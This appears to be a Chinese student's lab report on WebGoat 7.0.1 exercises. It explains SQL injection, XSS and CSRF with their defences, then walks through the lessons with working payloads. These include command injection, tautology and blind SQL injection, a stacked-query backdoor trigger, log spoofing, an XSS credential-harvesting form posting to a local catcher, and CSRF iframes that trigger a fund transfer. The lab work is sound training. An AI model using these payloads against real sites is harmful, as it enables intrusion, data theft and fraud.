1、基礎問題html
2、實驗步驟java
實驗點一:SQLgithub
實驗點二:XSS
實驗點三:CSRF
4、實驗總結
原理:SQL注入指的是發生在web應用對後臺數據庫查詢語句處理存在的安全漏洞。
簡單地說,就是在輸入字符串中嵌入SQL指令,在設計程序中忽略了對特殊字符串的檢查,這些嵌入的指令便會被誤認爲正常的SQL指令,在數據庫中執行,所以能夠對後臺數據庫進行查看等工做,甚至破壞後臺數據庫形成嚴重後果。
防護:增長對於特殊字符串的檢查,即檢查非法字符串的輸入;使用正則表達式過濾傳入的參數,對一些包含sql注入的關鍵字進行過濾等。
原理:XSS即跨站腳本攻擊,它容許惡意使用者將程序代碼注入到網頁上,其餘使用者在瀏覽網頁時就會受到不一樣程度的影響。這類攻擊通常包含了HTML語言以及目標主機使用的腳本語言。
防護:在表單提交或者url參數傳遞前,對須要的參數進行過濾;檢查用戶輸入的內容中是否有非法內容,如尖括號、引號等,嚴格控制輸出等。
原理:CSRF即跨站僞造請求,它屬於跨站腳本漏洞的一種衍生。其基本原理是:攻擊者利用XSS的注入方式注入一段腳本,當受害者點擊瀏覽器運行該腳本時,腳本僞造受害者發送了一個合法請求。
防護:經過referer、token或者驗證碼來檢測用戶提交;儘可能不要在頁面的連接中暴露用戶隱私信息,對於用戶修改刪除等操做最好都使用post操做;避免全站通用的cookie,嚴格設置cookie的域等。
一、因爲個人kali中沒有安裝jdk,因此首先去oracle官網進行下載。(注意:這裏我下載的jdk版本爲1.8,可與7.0.1的webgoat匹配。版本不匹配後續就會報錯!!!而且kali中的openjdk並非所對應須要的jdk!!!)
二、按照我在網上找到的教程,先進行jdk的安裝與配置。
三、下載webgoat-container-7.0.1-war-exec.jar。
四、運行WebGoatjava -jar webgoat-container-7.0.1-war-exec.jar
。
五、當看到 Starting ProtocolHandler ["http-bio-8080"]
這一條消息以後,便可開始後續的實驗。
六、在瀏覽器中輸入http://localhost:8080/WebGoat進入WebGoat登陸界面,下方已經給出兩組默認的用戶名和密碼:
七、登錄成功後,可在網頁左側挑選想要進行的課程。
原理:在正常的參數提交過程當中,添加惡意的代碼,每每可以獲得之外的收穫。
目標:可以在目標主機上執行任何系統命令
步驟:
"& netstat -an & ipconfig"
:View
,攻擊成功:netstat -an
命令並返回告終果。原理:在station字段中注入特徵字符,能組合成新的SQL語句。
SELECT * FROM weather_data WHERE station = [station]
目標:下面的表單容許用戶查看天氣數據。請經過注入 SQL 字符串的方式查看全部的天氣數據。
步驟:
value="101"
進行修改,在城市編號101後面添加or 1=1
:Go!
,攻擊成功,顯示全部城市的天氣狀況:原理:這種攻擊是在日誌文件中愚弄人的眼睛,攻擊者能夠利用這種方式清除他們在日誌中的痕跡。
目標:灰色區域表明在Web服務器的日誌中的記錄的內容。咱們的目的是使用戶名爲「admin」的用戶在日誌中顯示「成功登陸」。升級咱們的攻擊,例如:在日誌文件中插入腳本。
步驟:
webgoat Login Succeeded for username admin
,這樣用戶名後面的信息會在同一行顯示,而不是在新的一行:webgoat%0d%0aLogin Succeeded for username: admin
,這樣就完成了該課程:目標:使用 SQL 注入繞過認證
步驟:
以用戶Neville登陸,仍是以永真式的形式輸入密碼Smith' or 1=1 --
:
攻擊成功,獲得全部人員列表:
目標:執行SQL注入繞過認證; 該課程的目的是經過注入語句,瀏覽到本來沒法瀏覽的信息。經過一個普通員工的帳戶, 瀏覽其BOSS
的帳戶信息。
步驟:
Larry
和密碼larry
登陸,瀏覽員工信息的按鈕是ViewProfile
:Larry Stooge(employee)
上右鍵審查網頁元素,能夠看到此處是用員工ID做爲索引來傳送數據的,感受這裏的數據庫應該是以員工ID做爲索引,返回的是每次查詢到的第一條數據。用社會工程學解釋老闆應該是工資最高的,因此爲了把老闆排到第一個我們應該在員工ID:101
後面給他加上這麼一些東西進行SQL注入排序,即:101 or 1=1 order by salary desc
其中desc
表示使用降序排列。
ViewProfile
,便可獲取老闆的信息。原理:基於如下查詢語句構造本身的SQL注入字符串。
SELECT * FROM user_data WHERE last_name = '?'
目標:下面的表格,容許用戶查看他們的信用卡號碼。嘗試經過SQL注入將全部信用卡信息顯示出來。嘗試的用戶名是「Smith」。
步驟:
''
提早閉合,插入永真式而後註釋掉後面的內容就能夠了,因此輸入Smith' or 1=1 --
便可完成本課程內容。注入成功後,即可看到全部員工的信息:原理:數據庫一般做爲一個Web應用程序的後端來使用。此外,它也用來做爲存儲的媒介。它也能夠被用來做爲存儲惡意活動的地方,如觸發器。觸發器是在數據庫管理系統上調用另外一個數據庫操做,如insert,select,update or delete。舉個例子:攻擊者能夠建立一個觸發器,該觸發器在建立新用戶時,將每一個新用戶的Email地址設置爲攻擊者的地址。
目標:咱們的目標是學習如何利用查詢的脆弱性建立觸發器。因爲WebGoat使用的是MySQL數據庫,不支持觸發器,因此該課程不會真正完成。
咱們的Login ID是101.
步驟:
101
,獲得該用戶的信息:101; update employee set salary=10000
(因爲要執行兩個語句,中間須要用分號分隔):101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid
,即可看到攻擊成功:原理:某些SQL注入是沒有明確返回信息的,只能經過條件的「真」和「假」進行判斷。攻擊者必須充分利用查詢語句,構造子查詢語句。
目標:下面的表單容許輸入一個賬號,並檢測該賬號是否合法。使用該表單的返回信息(真或假)測試檢查數據庫中其它條目信息。
咱們的目標是找到pins表中cc_number字段值爲1111222233334444的記錄中pin字段的數值。pin字段類型爲int型。輸入找到的數值並提交,經過本課程。
步驟:
本節課程中,服務端頁面返回的信息只有兩種:賬號有效或無效。所以沒法簡單地查詢到賬號的PIN數值。儘管如此,咱們能夠利用系統後臺在用的查詢語句。查詢語句以下:
SELECT * FROM user_data WHERE userid=accountNumber;
若是該查詢語句返回了賬號的信息,頁面將提示賬號有效,不然提示無效。使用AND函數,咱們能夠添加一些額外的查詢條件。若是該查詢條件一樣爲真,則返回結果應提示賬號有效,不然無效。例以下面兩個查詢方式:
101 AND 1=1
101 AND 1=2
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
原理:某些SQL注入是沒有明確返回信息的,只能經過條件的「真」和「假」進行判斷。攻擊者必須充分利用查詢語句,構造子查詢語句。
目標:下面的表單容許輸入一個賬號,並檢測該賬號是否合法。使用該表單的返回信息(真或假)測試檢查數據庫中其它條目信息。
咱們的目標是找到pins表中cc_number字段值爲4321432143214321 的記錄中pin字段的數值。pin字段類型爲varchar。輸入找到的數值(最終的字符串,注意拼寫和大寫)並提交,經過本課程。
步驟:
本節課程很是相似與上一節。最大的不一樣是要查詢的字段是一個字符串而不是數值。所以咱們一樣能夠經過注入的方式查找到該字段的值。查詢語句很是相似上一節,以下:
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );
通過屢次測試(比較 0-9A-Za-z 等字符串)和頁面的返回數據,判斷出第一個字符爲「J」。同理繼續判斷第二個字符:
`101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) < 'h' );`
最終,判斷出pin字段的值爲:Jill
。提交該值,經過本節課程:
原理:若是有權限操做頁面源代碼,那麼HTML文檔的內容是能夠被篡改的。
目標:建立一個form,要求填寫用戶名和密碼。將數據提交到http://localhost/WebGoat/catcher?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
。
步驟:
利用XSS能夠在已存在的頁面中進一步添加元素。該解決方案包括兩部分,咱們須要結合起來使用:
受害人填寫一個表格;
以讀取腳本的形式,將收集到的信息發送給攻擊者。
一個帶用戶名和密碼輸入框的表格以下:
<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>
搜索這段代碼,就能看到頁面中增長了一個表單:
下面這段腳本語言的代碼會讀取咱們在表單上輸入的用戶名和密碼信息,將這些信息發送給捕獲這些信息的WebGoat:
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script>
將以上兩段代碼合併,搜索這段代碼,咱們會看到一個要求輸入用戶名密碼的表單,輸入用戶名密碼,點擊登陸,WebGoat會將輸入的信息捕獲並反饋給咱們:
原理:這種攻擊常見於論壇等留言平臺,用戶留言的時候輸入一段JavaScript腳本,這段腳本就會被保存在數據庫中。由於是留言,因此任何用戶在打開網頁的時候,這個腳本就會被從數據庫中取出來而運行。
目標:建立非法的消息內容,能夠致使其餘用戶訪問時載入非預期的頁面或內容。
步驟:在title中任意輸入字符,留言板中輸入<script>alert("Ha Ha Ha");</script>
,便可攻擊成功。
目標:在反射的XSS攻擊中,攻擊者可使用攻擊腳本建立一個URL,並將其發佈到另外一個網站、經過電子郵件或其餘方式讓受害者點擊它。
步驟:輸入代碼<script>alert("You're an idiot!");</script>
,點擊purse
的同時頁面就給出了反饋:
原理:跨站點請求僞造(CSRF/XSRF)是一種攻擊,它欺騙受害者加載包含「僞造請求」的頁面,以便使用受害者的憑據執行命令。提示用戶確認或取消命令可能聽起來像一個解決方案,但若是提示符是可編寫腳本的,則能夠忽略它。本課展現如何經過發出另外一個僞造的請求來繞過這樣的提示符。這也適用於一系列提示,例如嚮導或發出多個不相關的僞造請求。
目標:與CSRF課程相似,您的目標是向包含多個惡意請求的新聞組發送電子郵件:第一個請求用於轉移資金,第二個請求用於確認第一個請求觸發的提示符。url應該指向攻擊servlet,其中包含這個CSRF-prompt-by-pass課程的屏幕、菜單參數和一個額外的參數「transferFunds」,其中包含一個數值「5000」來啓動傳輸,一個字符串值「CONFIRM」來完成傳輸。您能夠從右邊的插圖中複製課程的參數,建立格式爲attack?Screen=XXX&menu=YYY&transferFunds=ZZZ
的url。不管誰收到這封電子郵件,而且碰巧在那個時候經過了身份驗證,他的資金就會被轉移。當您認爲攻擊成功時,刷新頁面,您將在左側菜單上發現綠色複選框。
步驟:
並在title框中輸入任意內容,message框中輸入代碼:
``` <iframe src="attack?Screen=280&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=280&menu=900&transferFunds=CONFIRM"> </iframe> ```
在Message List中生成以Title命名的連接,點擊進入後,攻擊成功
解決方法:緣由是jdk與webgoat版本不匹配,或者是jdk未安裝(注意:openjdk不是此次實驗中所要用的jdk,兩者不同!!!),具體教程,見我實驗前準備那裏的描述。